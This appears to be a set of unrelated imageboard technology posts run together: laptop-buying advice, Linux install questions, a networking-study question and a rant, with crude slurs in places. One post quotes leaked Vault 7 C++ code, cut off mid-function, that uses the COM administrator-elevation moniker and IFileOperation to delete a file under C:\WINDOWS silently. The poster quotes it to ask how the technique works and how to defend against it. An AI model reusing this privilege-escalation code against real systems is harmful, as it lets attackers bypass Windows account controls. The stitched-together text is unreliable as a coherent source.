anyone's ever had experience with Lenovo Ideapad s400?

I was going to buy an used T61 from the internet just for work/college, so basically I would install debian or buntu and maybe, if needed dualboot win7 , mostly to program shit, use MS/Libreoffice and 4chan browsing. however, my friend told me he has a notebook sitting unused and he is willing to sell it to me for the same price as the T61 I was going to buy. Its a lenovo s400, I've tested it a bit and it is in tiptop conditions and since he is not a complete normie-retard I am pretty sure he didn't fuck it up somehow by dropping it or whatever. So is it worth it? is this s400 decent? I know that the specs are obviously better in the s400 but is there something to I should watch out for in this specific model? (notebook virgin, never had one and don't really like them, but actually need one now).

the price of a brand-new s400 is ~1700 in my currency, the T61 and consequently the price of my friend's notebook for me is 350, which is pretty fucking cheap for a notebook here, specially for a almost new and recent one

Why are you using bloatware when you could be installing Gentoo that uses <64MB?

In light of recent news, I feel like Comp Net is one of the most important things to become familiar with, but I don't know shit about it.

Agreed?

If so, where should I start?

If not so, what should I be learning?

The vault 7 leaks say you can escalate privilege using code "within the context of a process approved for elevation", with explorer.exe and notepad as examples.

Windows noob here. What does that mean, and how do I protect against it? Are they giving corrupted binaries or are they getting notepad to execute their code? Link and code used below:

https://wikileaks.org/ciav7p1/cms/page_3375231.html

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, void **ppv)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[50];
    WCHAR wszMon[300];
 
    StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
    HRESULT hr = StringCchPrintfW(wszMon, sizeof(wszMon)/sizeof(wszMon[0]), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
        return hr;
    memset(&bo, 0, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hwnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    return CoGetObject(wszMon, &bo, riid, ppv);
}
 
void ElevatedDelete()
{
    MessageBox(NULL, "DELETING", "TESTING", MB_OK);
 
    // This is only availabe on Vista and higher
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    IFileOperation *pfo;
    hr = CoCreateInstanceAsAdmin(NULL, CLSID_FileOperation, IID_PPV_ARGS(&pfo));
    pfo->SetOperationFlags(FOF_NO_UI);
    IShellItem *item = NULL;
    hr = SHCreateItemFromParsingName(L"C:\\WINDOWS\\TEST.DLL", NULL, IID_PPV_ARGS(&item));
    pfo->DeleteItem(item, NULL);

I'm going to be installing in UEFI mode alongside W10, so it needs to support that. I want a pretty UI to do general tasks on (as well as learning linux).

What the fuck is wrong with these people in pic related?

It's like their life's purpose is all fucked up. I don't understand why they do the conniving shit they do.
Is there even a real security threat or are they just LARPing?
